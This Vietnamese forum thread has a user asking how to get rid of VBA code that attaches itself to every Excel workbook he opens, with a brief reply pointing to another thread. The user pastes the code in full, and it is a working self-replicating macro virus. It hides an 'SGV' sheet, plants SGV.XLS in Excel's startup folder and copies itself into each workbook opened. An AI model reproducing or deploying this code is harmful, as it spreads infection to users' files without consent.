Em cần trợ giúp xóa code VBA bị thêm vào mặc định (1 người xem)

  • Thread starter Thread starter ghouls1
  • Ngày gửi Ngày gửi
Liên hệ QC

Người dùng đang xem chủ đề này

Tôi tuân thủ nội quy khi đăng bài

ghouls1

Thành viên mới
Tham gia
15/3/24
Bài viết
3
Được thích
1
Kính thưa các bác, máy tính em khi bật bất kì 1 file exel nào lên đều bị dính 1 cái code mặc định khiến máy không thể mở nhiều file. Kính mong các bác giúp em làm cách nào để xóa triệt để cái này. Vì em thử xóa sạch code của cái project đó thì mỗi lần bật lên nó hiện popup code lỗi rất khó chịu ạ. Em cảm ơn trước ạ.
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "SGV.XLS")

If m$ = "SGV.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10



Select Case whichfile

Case 10

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

Sheets("SGV").visible = True

Sheets("SGV").Select

Sheets("SGV").Copy

With ActiveWorkbook

.Title = ""

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With

newname$ = ActiveWorkbook.Name

c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("SGV").visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "SGV.XLS!check_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ <> "SGV" Then

Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("SGV").visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "SGV.XLS!check_files"

Case Else

End Select

End Sub
 
Kính thưa các bác, máy tính em khi bật bất kì 1 file exel nào lên đều bị dính 1 cái code mặc định khiến máy không thể mở nhiều file. Kính mong các bác giúp em làm cách nào để xóa triệt để cái này. Vì em thử xóa sạch code của cái project đó thì mỗi lần bật lên nó hiện popup code lỗi rất khó chịu ạ. Em cảm ơn trước ạ.
Thử làm theo chủ đề này.
 
Upvote 0
Upvote 0
Web KT

Bài viết mới nhất

Back
Top Bottom